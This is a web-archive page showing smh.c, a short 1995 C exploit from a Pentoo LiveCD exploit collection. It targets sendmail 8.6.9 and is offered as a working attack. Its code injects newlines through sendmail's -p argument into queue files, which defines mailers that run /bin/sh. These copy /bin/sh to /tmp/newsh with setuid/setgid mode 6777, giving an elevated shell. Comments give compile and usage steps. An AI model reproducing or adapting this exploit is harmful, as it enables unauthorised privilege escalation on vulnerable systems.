home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / smh.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  36 lines

  1. /* smh.c - Michael R. Widner - atreus (2/27/95)
  2.  * <widner@uchicago.edu> <atreus@primus.com>
  3.  * a quick hack to abuse sendmail 8.6.9 or whatever else is subject to this
  4.  * hole.  It's really just a matter of passing newlines in arguments to
  5.  * sendmail and getting the stuff into the queue files.  If we run this
  6.  * locally with -odq we are guaranteed that it will be queue, rather than
  7.  * processed immediately.  Wait for the queue to get processed automatically
  8.  * or just run sendmail -q if you're impatient.
  9.  *
  10.  * usage: smh [ username [/path/to/sendmail]]
  11.  *
  12.  * It's worth noting that this is generally only good for getting bin.
  13.  * sendmail still wants to process the sendmail.cf file, which contains
  14.  * Ou1 and Og1 most of the time, limiting you to bin access.  Is there
  15.  * a way around this?
  16.  *
  17.  * cc -o smh smh.c should do the trick.  This just creates a bin owned
  18.  * mode 6777 copy of /bin/sh in /tmp called /tmp/newsh.  Note that on some
  19.  * systems this is pretty much worthless, but you're smart enough to know
  20.  * which systems those are.  Aren't you?
  21.  */
  22.  
  23. #include <sys/types.h>
  24. #include <unistd.h>
  25. #include <stdlib.h>
  26.  
  27. main(argc, argv)
  28. int argc;
  29. char **argv;
  30. {
  31.   execlp(argv[2] ? argv[2] : "sendmail","sendmail","-odq","-p",
  32.          "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal, P=/bin/sh, F=lsDFMeu,
  33.          A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777 /tmp/newsh\">\n$rascii ",
  34.          argv[1] ? argv[1] : "atreus",0);
  35. }
  36. /*                    www.hack.co.za              [2000]*/